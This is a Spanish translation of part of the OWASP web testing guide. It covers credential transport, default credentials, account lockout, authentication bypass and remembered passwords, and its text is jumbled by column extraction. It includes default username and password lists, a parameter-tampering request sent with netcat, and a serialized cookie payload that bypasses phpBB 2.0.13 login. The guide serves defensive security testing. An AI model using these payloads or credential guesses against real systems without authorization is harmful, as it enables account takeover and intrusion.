En los siguientes ejemplos, usaremos WebScarab para capturar los encabezados de los paquetes e inspeccionarlos. Puede utilizar cualquier proxy de web que usted prefiera.
Probar el transporte de credenciales significa comprobar que los datos de autenticación del usuario se transfieren a través de un canal encriptado para evitar ser interceptados por usuarios maliciosos. El análisis se centra simplemente en tratar de entender si los datos viajan sin encriptar desde el navegador web al servidor, o si la aplicación web toma las medidas de seguridad apropiadas al usar protocolos como HTTPS. El protocolo HTTPS se construye sobre TLS/SSL para encriptar los datos que se transmiten y asegurar que el usuario es enviado hacia el sitio deseado.
Pruebas de Caja Negra
Ejemplo 1: Envío de datos con el método POST a través de HTTP Suponga que la página de registro presenta un formulario con los campos Usuario, Contraseña y el botón de Enviar para autentificar y dar acceso a la aplicación. Si nos fijamos en las cabeceras de nuestra petición con WebScarab, podemos conseguir algo como esto:
Claramente, el hecho de que el tráfico se encuentre cifrado no necesariamente significa que es totalmente seguro. La seguridad depende también del algoritmo utilizado y la robustez de las claves que la aplicación está utilizando, pero no se abordará este tema en particular en esta sección.
Para una discusión más detallada sobre las pruebas de seguridad de los canales TLS/SSL, consulte el capítulo Probando SSL/TLS débiles. Aquí, el evaluador simplemente tratará de entender si los datos que los usuarios colocan en los formularios web para iniciar una sesión en un sitio web se transmiten utilizando protocolos seguros que los protege de un atacante.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 100
Guia de pruebas 4.0 "Borrador"
POST http://www.example.com/AuthenticationServlet HTTP/1.1
POST https://www.example.com:443/cgi-bin/login.cgi HTTP/1.1
Host: www.example.com
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404
Accept: text/xml,application/xml,application/xhtml+xml
Accept: text/xml,application/xml,application/xhtml+xml,text/html
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Keep-Alive: 300
Connection: keep-alive
Connection: keep-alive
Referer: http://www.example.com/index.jsp
Referer: https://www.example.com/cgi-bin/login.cgi
Cookie: JSESSIONID=LVrRRQQXgwyWpW7QMnS49vtW1yBdqn98CGlkP4jTvV CGdyPkmn3S!
Cookie: language=English;
Content-Type: application/x-www-form-urlencoded
Content-length: 50
Content-Type: application/x-www-form-urlencoded
Content-length: 64
delegated_service=218&User=test&Pass=test&Submit=SUBMIT
En este ejemplo, el evaluador puede entender que la solicitud POST envía los datos a la página www.example.com/AuthenticationServlet usando HTTP. Los datos de respuesta se transmiten sin cifrado y un usuario malintencionado puede interceptar el usuario y la contraseña simplemente al olfatear la red con una herramienta como Wireshark.
Ejemplo 2: Envío de datos con el método POST a través de HTTPS Supongamos que nuestra aplicación web utiliza el protocolo HTTPS para cifrar los datos que estamos enviando (o por lo menos para la transmisión de datos confidenciales, como credenciales). En este caso, cuando se inicia la aplicación web, el encabezado de la solicitud POST sería similar al siguiente:
Podemos ver que se envía la petición a www.example.com:443/cgibin/login.cgi mediante el protocolo HTTPS. Esto garantiza que nuestras credenciales se envían mediante un canal encriptado y que las credenciales no son legibles por un usuario malicioso que utilice un sniffer.
Ejemplo 3: Envío de datos con el método POST a través de HTTPS en una página accesible a través de HTTP Ahora, imagine una página web accesible a través de HTTP y que sólo los datos enviados desde el formulario de autenticación se transmiten a través de HTTPS. Esta situación ocurre, por ejemplo, cuando estamos en un portal de una gran empresa que ofrece diferente información y servicios que están disponibles públicamente, sin identificación; pero el sitio también tiene una sección privada, accesible desde la página de inicio cuando los usuarios inician una sesión; por lo que, al intentar iniciar la sesión, el encabezado de la solicitud se verá como el siguiente ejemplo:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 101
Guia de pruebas 4.0 "Borrador"
POST https://www.example.com:443/login.do HTTP/1.1
GET https://www.example.com/success.html?user=test&pass=test HTTP/1.1
Host: www.example.com Host: www.example.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404
Accept: text/xml,application/xml,application/xhtml+xml,text/html Accept: text/xml,application/xml,application/xhtml+xml,text/html Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Keep-Alive: 300 Connection: keep-alive Connection: keep-alive Referer: http://www.example.com/homepage.do Referer: https://www.example.com/form.html Cookie: SERVTIMSESSIONID=s2JyLkvDJ9ZhX3yr5BJ3DFLkdphH0QNSJ3VQB 6pLhjkW6F
If-Modified-Since: Mon, 30 Jun 2008 07:55:11 GMT If-None-Match: “43a01-5b-4868915f”
Content-Type: application/x-www-form-urlencoded Content-length: 45 User=test&Pass=test&portal=ExamplePortal
Podemos ver que nuestra petición se dirige a www.example.com:443/login.do usando HTTPS. Pero si echamos un vistazo al encabezado Referer (la página desde la que ingresamos), es www.example.com/homepage.do y es accesible a través de un HTTP simple. Aunque estamos enviando datos a través de HTTPS, esta implementación puede permitir ataques SSLStrip (un tipo de ataque de Hombre en Medio).
Se puede ver que los datos se transfieren en texto claro en la URL y no en el cuerpo de la petición como antes. Pero debemos considerar que SSL/TLS es un protocolo de nivel 5, un nivel inferior al HTTP, por lo que el paquete entero de HTTP todavía está encriptado haciendo imposible la lectura de la URL para un usuario malintencionado que utiliza un sniffer. Sin embargo, como se dijo antes, no es una buena práctica utilizar el método GET para enviar datos a una aplicación web, ya que la información contenida en la URL se puede almacenar en muchos lugares tales como registros de proxys y servidores web.
Ejemplo 4: Envío de datos con el método GET a través de HTTPS Prueba Caja Gris En este último ejemplo, supongamos que la aplicación transfiere datos mediante el método GET. Este método nunca se debe utilizar en un formulario que transmite datos sensibles como nombre de usuario y contraseña, porque los datos se muestran en texto claro en la URL y esto provoca todo un conjunto de temas de seguridad. Por ejemplo, la URL que se solicita se encuentra fácilmente disponible en los registros del servidor o en el historial del navegador, lo que hace que sus datos sensibles puedan ser recuperados por personas no autorizadas. Este ejemplo es puramente demostrativo, pero, en realidad, se recomienda enfáticamente utilizar mejor el método POST.
Hable con los desarrolladores de la aplicación web y trate de entender si son conscientes de las diferencias entre los protocolos HTTP y HTTPS y por qué deben usar HTTPS para la transmisión de información sensible. Luego, revise con ellos si se utiliza HTTPS en cada petición sensible, como las de registro en páginas, para evitar que usuarios no autorizados intercepten los datos.
Herramientas
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 102
Guia de pruebas 4.0 "Borrador"
• WebScarab
• Aplicaciones con cuentas predeterminadas fijas incorporadas con un usuario y contraseña predefinido.
• OWASP Zed Attack Proxy (ZAP) • Aplicaciones que no obligan al usuario a cambiar las credenciales por defecto después de la primera sesión. Referencias Libros Blancos • HTTP/1.1: Security Considerations - w3.org
Cómo probar
• SSL is not about encryption
Pruebas de las credenciales por defecto de aplicaciones comunes
Pruebas de las credenciales por defecto (OTG-AUTHN-002)
En la prueba de Caja Negra, el evaluador no sabe nada acerca de la aplicación y su infraestructura subyacente. En realidad, esto no suele ser cierto, y se conoce alguna información acerca de la aplicación. Supongamos que usted ha identificado, mediante el uso de las técnicas descritas en esta guía de pruebas bajo el capítulo de recolección de información, por lo menos una o más aplicaciones comunes que pueden contener interfaces administrativas accesibles.
Resumen En la actualidad, las aplicaciones web a menudo hacen uso de software popular de código abierto o comercial que puede ser instalado en servidores con configuración mínima o personalización para requisitos particulares del administrador del servidor. Por otra parte, muchos dispositivos de hardware (routers de red y servidores de base de datos) ofrecen configuración basada en web o interfaces administrativas.
A menudo estas aplicaciones, una vez instaladas, no están configuradas correctamente y las credenciales predeterminadas proporcionadas para la autenticación inicial y configuración nunca son cambiadas. Estas credenciales predeterminadas son bien conocidas por los evaluadores de penetración y, por desgracia, también por atacantes maliciosos que pueden utilizarlas para tener acceso a varios tipos de aplicaciones. Además, en muchas situaciones, cuando se crea una nueva cuenta en una aplicación, una contraseña por defecto (con algunas características estándar) se genera. Si esta contraseña es predecible y el usuario no la cambia en el primer acceso, esto puede llevar a un atacante a obtener acceso no autorizado a la aplicación.
La causa principal de este problema puede ser identificada como:
• Personal técnico sin experiencia que no es consciente de la importancia de cambiar las contraseñas por defecto en componentes de la infraestructura instalada o dejar la contraseña por defecto para "facilidad de mantenimiento". • Programadores que dejan puertas traseras para tener fácil acceso y probar su aplicación y después olvidan eliminarlas.
Cuando usted ha identificado una interfaz de aplicación, por ejemplo, una interfaz del router de web Cisco o un portal administrador Weblogic, compruebe que los nombres de usuario y contraseñas conocidos para estos dispositivos no resulten en una autenticación exitosa. Para ello puede consultar la documentación del fabricante o, de una manera mucho más simple, usted puede encontrar credenciales comunes mediante la búsqueda de un motor o utilizando uno de los sitios o herramientas enumeradas en la sección de referencia.
Cuando se enfrente a aplicaciones donde no tiene una lista de cuentas de usuario común o por defecto (por ejemplo debido a que la aplicación no es
conocida), podemos intentar adivinar las credenciales válidas por defecto. Note que la aplicación probada puede tener una política de bloqueo de cuentas habilitada y múltiples intentos de adivinar la contraseña con un nombre de usuario conocido, lo que puede causar que la cuenta se bloquee. Si es posible bloquear la cuenta del administrador, puede ser problemático para el administrador del sistema restablecerla.
Muchas aplicaciones tienen mensajes de error detallados que informan a los usuarios sobre la validez de nombres de usuario introducidos. Esta información será útil cuando se busquen cuentas de usuario por defecto o predecibles. Dicha funcionalidad puede encontrarse, por ejemplo, en las páginas de registro, restablecimiento de contraseña, contraseña olvidada y de inscripción. Una vez que ha encontrado un nombre de usuario por defecto, también podría empezar a adivinar contraseñas para esta cuenta.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 103
Guia de pruebas 4.0 "Borrador"
Puede encontrar más información acerca de este procedimiento en la sección Probando la enumeración de usuarios y cuentas de usuario predecibles y en la sección de Probando políticas de contraseñas débiles.
• Busque nombres de cuentas y contraseñas en los comentarios del código fuente. También busque en directorios de respaldo el código fuente (o copias de seguridad del código fuente) que pueden contener comentarios y códigos interesantes.
Prueba de las contraseñas por defecto en cuentas nuevas Puesto que estos tipos de credenciales predeterminadas están limitados a menudo a cuentas administrativas, puede proceder de la siguiente manera:
• Intente usar los siguientes nombres de usuario - “admin”, “administrator”, “root”, “system”, “guest”, “operator”, o “super”. Éstos son populares entre los administradores de sistemas y son de uso frecuente. Además, podría tratar “qa”, “test”, “test1”, “testing” y nombres similares. Pruebe cualquier combinación de los anteriores en el nombre de usuario y los campos de contraseña. Si la aplicación es vulnerable a la enumeración de nombres de usuario y logra identificar con éxito cualquiera de los nombres de usuario anteriores, intente las contraseñas de una manera similar. Además, intente con una contraseña vacía o una de los siguientes “password”, “pass123”, “password123”, “admin”, o “guest” con las cuentas anteriores o cualquier otra cuenta enumerada. También puede intentar más permutaciones de las anteriores. Si estas contraseñas fallan, valdría la pena intentar usar una lista común de nombres de usuario y contraseñas y realizar varias peticiones contra la aplicación. Esto puede, sin duda, ser secuenciado para ahorrar tiempo. • Los usuarios administradores de una aplicación se nombran a menudo con el nombre de la aplicación u organización. Esto significa que si está probando una aplicación denominada "Oscuridad", intente usar oscuridad/oscuridad o cualquier otra combinación similar como el nombre de usuario y contraseña. • Cuando se realiza una prueba para un cliente, inténtelo usando los nombres de contactos que reciban como nombres de usuario con contraseñas comunes. Las direcciones de correo electrónico de clientes revelan el acuerdo de nombres para cuentas del usuario: si el empleado John Doe tiene la dirección de correo electrónico jdoe@example.com, puede tratar de encontrar los nombres de los administradores de sistemas en las redes sociales y adivinar su nombre de usuario mediante la aplicación de la misma convención a su nombre.
• Trate de usar todos los nombres de usuario anteriores con contraseñas en blanco. • Revise la fuente de la página y JavaScript, ya sea a través de un proxy o mediante la visualización de la fuente. Busque cualquier referencia a los usuarios y contraseñas en la fuente. Por ejemplo “If username=’admin’ then starturl=/admin.asp else /index.asp”. (para un registro exitoso versus un registro fallido).También, si usted tiene una cuenta válida, entonces registre y revise cada solicitud y respuesta para un registro válido versus un registro no válido, como parámetros adicionales ocultos, peticiones GET interesantes (login = yes), etc.
Cuando se crea una cuenta nueva en una aplicación, también puede ocurrir que a la cuenta se le asigne una contraseña por defecto. Esta contraseña podría tener algunas características estándar, lo que la hace predecible.
Si el usuario no la cambia en el primer uso (esto sucede a menudo si el usuario no está obligado a cambiarlo), o si el usuario todavía no ha iniciado una sesión en la aplicación, esto puede llevar a un atacante a obtener acceso no autorizado a la aplicación.
El asesoramiento previo sobre una posible política de bloqueo y mensajes de error detallados también son aplicables aquí, cuando se evalúan las contraseñas por defecto.
Los siguientes pasos pueden aplicarse para probar estos tipos de credenciales predeterminadas:
• Mirar en la página de registro de usuarios puede ayudar a determinar el formato esperado y la longitud mínima o máxima de nombres y contraseñas de la aplicación. Si no existe una página de registro de usuarios, determine si la organización utiliza un acuerdo de nomenclatura estándar para los nombres de usuario como su dirección de correo electrónico o el nombre antes de la "@" en el correo electrónico. • Trate de extrapolar, a partir de la aplicación, cómo se generan los nombres de usuario. Por ejemplo, ¿un usuario puede escoger su propio nombre de usuario o el sistema genera un nombre de cuenta para el usuario basado en alguna información personal o usando una secuencia predecible? Si la aplicación genera los nombres de cuenta en una secuencia predecible, como user7811, trate de disolver recursivamente todas las cuentas posibles. Si puede identificar una respuesta diferente de la aplicación cuando se utiliza un nombre de usuario válido y una contraseña incorrecta, entonces puede intentar un ataque forzoso con el nombre de usuario válido (o rápidamente probar cualquiera de las contraseñas comunes identificadas antes en la sección de referencia).
• Trate de determinar si la contraseña generada por el sistema es predecible. Para ello, cree rápidamente muchas cuentas nuevas, una tras otra, para que pueda comparar y determinar si las contraseñas son predecibles. Si son
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 104
Guia de pruebas 4.0 "Borrador"
previsibles, intente correlacionar estas con los nombres de usuario o las cuentas enumeradas y utilizarlas como base para un ataque forzado. Referencias • Si usted ha identificado el acuerdo de nomenclatura correcta para el nombre de usuario, trate de "forzar" contraseñas con alguna secuencia predecible común, por ejemplo, las fechas de nacimiento.
Libros Blancos • CIRT: cirt.net
• Trate de usar todos los nombres de usuario anteriores con contraseñas en blanco, o utilice también el nombre de usuario como valor de la contraseña.
• Government Security - Default Logins and Passwords for Networked Devices: governmentsecurity.org • Virus.org: virus.org
Prueba de Caja Gris Los siguientes pasos se basan completamente en un enfoque de Caja Gris. Si sólo dispone de una parte de esta información, consulte las pruebas de Caja Negra para rellenar los espacios.
• Hable con el personal de IT para determinar qué contraseñas utilizan para el acceso administrativo y cómo se lleva a cabo la administración de la aplicación.
• Pregunte al personal de IT si se cambian las contraseñas por defecto y si las cuentas de usuario por defecto están deshabilitadas. • Examine la base de datos del usuario en busca de credenciales predeterminadas como se describe en la sección de pruebas de Caja Negra. También busque campos de contraseña vacíos. • Examine el encriptado de código duro para nombres de usuario y contraseñas. • Verifique los archivos de configuración que pueden contener nombres de usuario y contraseñas. • Examine la política de contraseñas y, si la aplicación genera sus propias contraseñas para los usuarios nuevos, revise la política en el uso de este procedimiento.
Pruebas para determinar un mecanismo de bloqueo débil (OTG-AUTHN-003) Resumen Los mecanismos de bloqueo se utilizan para mitigar los ataques de fuerza bruta o adivinanza de contraseñas. Las cuentas se bloquean normalmente después de tres a cinco intentos de inicio de sesión sin éxito y solo pueden ser desbloqueadas después de un periodo determinado de tiempo, a través de la intervención de un administrador. Los mecanismos de bloqueo de cuenta requieren un equilibrio entre la protección de cuentas de acceso no autorizado y proteger a los usuarios de una negativa al acceso autorizado.
Tome en cuenta que esta prueba debe cubrir todos los aspectos de autenticación donde los mecanismos de bloqueo serían apropiados, por ejemplo, cuando al usuario se le presentan preguntas de seguridad en mecanismos de contraseña olvidada (ver Pruebas para determinar la seguridad débil de pregunta/respuesta (OTG-AUTHN-008)).
Sin un mecanismo de bloqueo fuerte, la aplicación puede ser susceptible a ataques de fuerza bruta. Después de un ataque de fuerza bruta exitoso, un usuario malintencionado podría tener acceso a:
Herramientas • Burp Intruder: portswigger.net • THC Hydra: thc.org
• Información o datos confidenciales: Las secciones privadas de una aplicación web podrían revelar documentos confidenciales, datos de perfil de los usuarios, información financiera, datos bancarios, relaciones de los usuarios, etc..
• Brutus: hoobie.net • Nikto 2: cirt.net
• Los paneles de administración: Estas secciones son utilizadas por los webmasters para gestionar (modificar, borrar, añadir) el contenido de
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 105
Guia de pruebas 4.0 "Borrador"
aplicaciones web, gestión de creación de usuarios, asignar diferentes privilegios a los usuarios, etc.
[6] Inicie la sesión con la contraseña correcta. La aplicación devuelve "su cuenta está bloqueada.", confirmando así que la cuenta se bloquea después de cinco intentos de autenticación incorrecta.
• Oportunidades para nuevos ataques: Las secciones de una aplicación web autenticadas pueden contener vulnerabilidades que no están
[7] Intente entrar con la contraseña correcta cinco minutos más tarde. La aplicación devuelve "su cuenta está bloqueada.", lo que demuestra que el mecanismo de bloqueo no se desbloquea automáticamente después de cinco minutos.
presentes en la sección pública de la aplicación web y pueden contener funcionalidades avanzadas que no están disponibles para los usuarios públicos.
[8] Intente entrar con la contraseña correcta diez minutos más tarde. La aplicación devuelve "su cuenta está bloqueada.", lo que demuestra que el mecanismo de bloqueo no se desbloquea automáticamente después de diez minutos.
Objetivos de la prueba
[9] Inicie éxitosamente la sesión con la contraseña correcta quince minutos más tarde, lo que demuestra que el mecanismo de bloqueo se desbloquea automáticamente después de un período de diez a quince minutos.
• Evaluar la capacidad del mecanismo de bloqueo de cuentas para mitigar el ingreso forzado adivinando contraseñas. • Evaluar la resistencia del mecanismo de liberación para abrir sin autorización la cuenta.
Un CAPTCHA puede dificultar los ataques de fuerza bruta, pero puede venir con su propio conjunto de debilidades (ver Probando el CAPTCHA) y no debe reemplazar a un mecanismo de bloqueo.
Cómo probar Por lo general, para probar la fuerza de los mecanismos de bloqueo, se necesitará acceso a una cuenta a la que usted esté dispuesto o pueda darse el lujo de bloquear. Si tiene solo una cuenta con la que puede iniciar una sesión en la aplicación web, realice esta prueba al final del plan de pruebas para evitar que usted no pueda continuar su prueba debido a una cuenta bloqueada.
Para evaluar la capacidad del mecanismo de bloqueo de cuentas para mitigar el forzado o adivinanza de contraseñas, intente realizar un registro inválido mediante el uso de la contraseña incorrecta varias veces, antes de utilizar la contraseña correcta para verificar que la cuenta fue bloqueada. El siguiente es un ejemplo de la prueba:
[1] Intente iniciar la sesión con una contraseña incorrecta tres veces. [2] Inicie la sesión con la contraseña correcta, lo que demuestra que no se activa el mecanismo de bloqueo después de tres intentos de autenticación incorrecta. [3] Intente iniciar la sesión con una contraseña incorrecta cuatro veces. [4] Inicie la sesión con la contraseña correcta, lo que demuestra que no se activa el mecanismo de bloqueo después de cuatro intentos de autenticación incorrecta.
Para evaluar la resistencia del mecanismo de liberación para desbloquear la cuenta, inicie el mecanismo de desbloqueo y busque las debilidades.
Los mecanismos tipicos de desbloqueo pueden involucrar preguntas secretas o un link de desbloqueo por correo electrónico.El enlace de desbloqueo deberá ser un enlace único de un solo uso, para evitar que un atacante adivine o reproduzca el enlace y realice ataques forzosos en lotes. Las preguntas y respuestas secretas deben ser fuertes (ver Probando pregunta/respuesta de seguridad débil).
Note que un mecanismo de desbloqueo debe ser utilizado para desbloqueo de cuentas. No es lo mismo que un mecanismo de recuperación de contraseña.
Los factores a considerar cuando se implementa un mecanismo de bloqueo de cuenta son los siguientes:
[1] ¿Cuál es el riesgo de forzado o adivinanza de contraseñas en la aplicación? [2] ¿Basta un CAPTCHA para mitigar este riesgo?
[5] Intente iniciar la sesión con una contraseña incorrecta cinco veces.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 106
Guia de pruebas 4.0 "Borrador"
[3] El número de intentos de registro fallidos antes del bloqueo. Si el umbral de bloqueo es bajo, entonces los usuarios válidos pueden ser bloqueados a menudo. Si el umbral de bloqueo es alto, entonces el atacante tiene más intentos para forzar la cuenta antes de que se bloquee. Dependiendo del propósito de la aplicación, una rango entre cinco a diez intentos sin éxito es un umbral de bloqueo típico. [4] ¿Cómo se desbloquean las cuentas? • Manualmente, por un administrador: este es el método más seguro de desbloqueo, pero puede causar molestias a los usuarios y tomar tiempo "valioso" del administrador. - Observe que el administrador también debe tener un método de recuperación en caso de que su cuenta sea bloqueada. - El mecanismo de desbloqueo puede conducir a un ataque de negación de servicio si el objetivo de un atacante es bloquear las cuentas de los usuarios de la aplicación web. • Después de un período de tiempo: ¿Cuál es la duración del bloqueo? ¿Es suficiente para que la aplicación esté protegida? Por ejemplo, una duración del bloqueo de cinco a treinta minutos puede ser un buen acuerdo entre mitigar los ataques de fuerza bruta y molestar a los usuarios válidos. • A través de un mecanismo de autoservicio: Como se dijo antes, este mecanismo de autoservicio debe ser lo suficientemente seguro para evitar que el atacante pueda abrir cuentas por sí mismo.
Pruebas para eludir el esquema autenticación (OTG-AUTHN-004)
de
Resumen Mientras que la mayoría de las aplicaciones requieren autenticación para tener acceso a información privada o para ejecutar las tareas, no todos los métodos de autenticación son capaces de proporcionar una seguridad adecuada. La negligencia, ignorancia o una simple subvaloración de las amenazas de seguridad, a menudo resultan en esquemas de autenticación que pueden evitarse simplemente obviando el registro en la página y llamando directamente a una página interna que se supone debe accederse sólo después de que se realizó la autenticación.
Además, a menudo es posible sortear las medidas de autenticación alterando las solicitudes y engañando a la aplicación a pesar deque el usuario ya está autenticado. Esto se puede lograr modificando el parámetro de URL determinado, mediante la manipulación de la forma o por falsificación de las sesiones.
Referencias Vea el articulo de OWASP Sobre Ataques Forzosos.
Los problemas relacionados con el esquema de autenticación pueden encontrarse en diferentes etapas del ciclo de vida de desarrollo de software (SDLC), como las fases de diseño, desarrollo e implementación:
Remediación Aplique mecanismos de desbloqueo de cuentas dependiendo del nivel de riesgo. En orden de menor a mayor seguridad:
[1] Bloqueo y desbloqueo temporizado. [2] Desbloqueo con autoservicio (desbloqueo que envía un correo electrónico a la dirección de correo electrónico registrada). [3] Desbloqueo manual por un administrador.
• En los errores de la fase de diseño, se puede incluir una definición equivocada de las secciones de la aplicación a proteger, la opción de no aplicar protocolos de encriptación fuertes para asegurar la transmisión de las credenciales y muchos más. • En los errores de la fase de desarrollo, se puede incluir la aplicación incorrecta de la funcionalidad de validación de entrada o sin seguir las mejores prácticas de seguridad para el idioma específico. • En la fase de implementación de la aplicación, puede haber problemas durante la instalación de la aplicación (actividades de instalación y configuración) debido a la falta de habilidades técnicas requeridas o por falta de una buena documentación.
[4] Desbloqueo manual por un administrador con identificación de usuario positiva. Cómo probar Pruebas de Caja Negra
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 107
Guia de pruebas 4.0 "Borrador"
Hay varios métodos para eludir el esquema de autenticación que es usado por una aplicación web:
http://www.site.com/page.asp?authenticated=no
• Solicitud de página directa (navegación forzada) • Modificación de parámetros • Predicción de sesión ID
raven@blackbox /home $nc www.site.com 80
• Inyección de SQL
GET /page.asp?authenticated=yes HTTP/1.0
Solicitud de página directa Si una aplicación web implementa el control de acceso sólo en el registro en la página, el esquema de autenticación se podría eludir. Por ejemplo, si un usuario solicita directamente una página diferente a través de la navegación forzada, esa página puede no comprobar las credenciales del usuario antes de conceder el acceso. Intente acceder directamente a una página protegida a través de la barra de direcciones en su navegador para utilizar este método de prueba.
HTTP/1.1 200 OK Date: Sat, 11 Nov 2006 10:22:44 GMT Server: Apache Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC “-//IETF//DTD HTML 2.0//EN”> <HTML><HEAD> </HEAD><BODY> <H1>You Are Authenticated</H1> </BODY></HTML>
Modificación de parámetros Otro problema relacionado con el diseño de la autenticación es cuando la aplicación verifica un inicio de sesión exitosa a base de parámetros de valor fijo. Un usuario podría modificar estos parámetros para acceder a las áreas protegidas sin proporcionar credenciales válidas. En el ejemplo siguiente, el parámetro "authenticated" se cambia a un valor de "yes", que le permite al usuario acceder. En este ejemplo, el parámetro está en la URL, pero un proxy también podría ser utilizado para modificar el parámetro, especialmente cuando los parámetros se envían como elementos de formulario en una petición POST o cuando los parámetros se almacenan en una cookie.
Predicción de sesión ID Muchas aplicaciones web gestionan la autenticación mediante el uso de identificadores de sesión (ID de la sesión). Por lo tanto, si es previsible la generación de Identificadores de Sesión, un usuario malintencionado
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 108
Guia de pruebas 4.0 "Borrador"
podría ser capaz de encontrar un Identificador de Sesión válida y obtener acceso no autorizado a la aplicación, haciéndose pasar por un usuario previamente autenticado.
Inyección de SQL (Formulario de Autenticación HTML) Una inyección de SQL es una técnica de ataque ampliamente conocida. Esta sección no describirá esta técnica en detalle ya que hay varias secciones en esta guía que explican técnicas de inyección más allá del alcance de esta sección.
En la siguiente figura, los valores dentro de las cookies aumentan linealmente, por lo que podría ser fácil para un atacante adivinar un Identificador de Sesión válida.
La siguiente figura muestra que con un simple ataque de inyección de SQL, a veces es posible eludir el formulario de autenticación.
En la siguiente figura, los valores dentro de las cookies cambian sólo parcialmente, por lo que es posible restringir un ataque de fuerza bruta a los campos definidos que se muestran a continuación.
Prueba de Caja Gris Si un atacante ha podido obtener el código fuente de la aplicación explotando una vulnerabilidad previamente descubierta (por ejemplo, salto de directorio), o de un depósito web (aplicaciones de código abierto), podrían realizarse ataques refinados contra la implementación del proceso de autenticación.
En el ejemplo siguiente (PHPBB 2.0.13 - Vulnerabilidad de Salto de Autenticación), en la línea 5 la función unserialize() analiza una cookie del usuario y establece valores en el $row array. En la línea 10, la contraseña hash del usuario MD5, almacenada dentro de la base de datos de acceso restringido, se compara a la que se suministra.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 109
Guia de pruebas 4.0 "Borrador"
1. if ( isset($HTTP_COOKIE_VARS[$cookiename . ‘_sid’]) || 2. { 3. $sessiondata = isset( $HTTP_COOKIE_VARS[$cookiename . ‘_data’] ) ?
Resumen
4. 5. unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename ‘_data’])) : array();
Pruebas para recordatorios de contraseñas vulnerables (OTG-AUTHN-005)
.
6. 7. $sessionmethod = SESSION_METHOD_COOKIE; 8. }
Los navegadores a veces preguntarán al usuario si desea recordar la contraseña que acaba de ingresar. El navegador entonces almacenará la contraseña e ingresará automáticamente cada vez que el mismo formulario de autenticación sea visitado. Esto es una conveniencia para el usuario. Además, algunos sitios web ofrecen funcionalidades personalizadas de " Recuérdame" para permitir que los usuarios mantengan su sesión en un sistema de cliente específico.
9. 10. if( md5($password) == $row[‘user_password’] && $row[‘user_active’] )
11. 12. {
En PHP, una comparación entre un valor de la cadena y un valor booleano (1 - "TRUE"(verdadero)) siempre es "TRUE", por lo que mediante el suministro de la siguiente cadena (la parte importante es "b:1") a la función unserialize(), es posible eludir el control de autenticación:
Tener al navegador guardando contraseñas no es sólo conveniente para los usuarios finales, sino también para un atacante. Si un atacante puede tener acceso al navegador de la víctima (por ejemplo, a través de un ataque de Cross Site Scripting, o a través de un ordenador compartido), pueden recuperar las contraseñas almacenadas.
No es extraño que los navegadores almacenen las contraseñas de una manera fácilmente recuperable, sino que, incluso, si el navegador almacena contraseñas encriptadas que sólo pueden ser recuperadas mediante el uso de una contraseña maestra, un atacante podría recuperar la contraseña visitando el formulario de autenticación de la aplicación web de destino, introducir el usuario de la víctima, y dejar que el navegador introduzca la contraseña.
a:2:{s:11:”autologinid”;b:1;s:6:”userid”;s:1:”2”;}
Herramientas • WebScarab • WebGoat • OWASP Zed Attack Proxy (ZAP)
Adicionalmente, donde se aplican funciones personalizadas de "RememberMe", las debilidades en cómo la ficha es almacenada en el PC del cliente (por ejemplo usando credenciales de base64 codificado como ficha) podrían exponer las contraseñas de los usuarios. Desde principios del 2014, la mayoría de navegadores principales anulan cualquier uso de autocompletar = "off" con respecto a los formularios de contraseñas y como resultado de esto las consultas previas ya que no son necesarias y normalmente no se dan recomendaciones para desactivar esta característica. Sin embargo, esto también puede aplicarse a cosas como secretos secundarios que se pueden almacenar en el navegador sin darse cuenta.
Referencias Libros Blancos
Cómo probar
• Mark Roxberry: “PHPBB 2.0.13 vulnerability”
• Busque las contraseñas que se almacenan en una cookie. Examine las cookies almacenadas por la aplicación. Compruebe que las credenciales no se almacenan en texto claro, sino con funciones hash.
• David Endler: “Session ID Brute Force Exploitation and Prediction” http://www.cgisecurity.com/lib/SessionIDs.pdf
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 110
Guia de pruebas 4.0 "Borrador"
• Examinar el mecanismo de hashing: si se trata de un algoritmo común, bien conocido, compruebe su fuerza; en las funciones hash de creación propia ; intente varios nombres de usuario para comprobar si la función de hash es fácilmente predecible.
comparten la misma debilidad de presentar información sensible previamente mostrada.
• Compruebe que las credenciales sean enviadas solamente durante la fase el registro y no con cada solicitud a la aplicación.
La primera y más simple prueba consiste en introducir información sensible en la aplicación y cerrar la sesión. Entonces el evaluador hace clic en el botón "Atrás" del navegador para comprobar si accede o muestra información sensible ingresada anteriormente sin ser autenticado.
• Considere otros campos sensibles (por ejemplo, una respuesta a una pregunta secreta que debe ingresarse en una cuenta de recuperación de contraseña o formulario de desbloqueo).
Remediación Asegúrese que ninguna credencial sea almacenada en texto claro, o que sean fácilmente recuperables en forma codificada o encriptada en cookies.
Pruebas para buscar la debilidad de memoria caché del navegador (OTG-AUTHN-006)
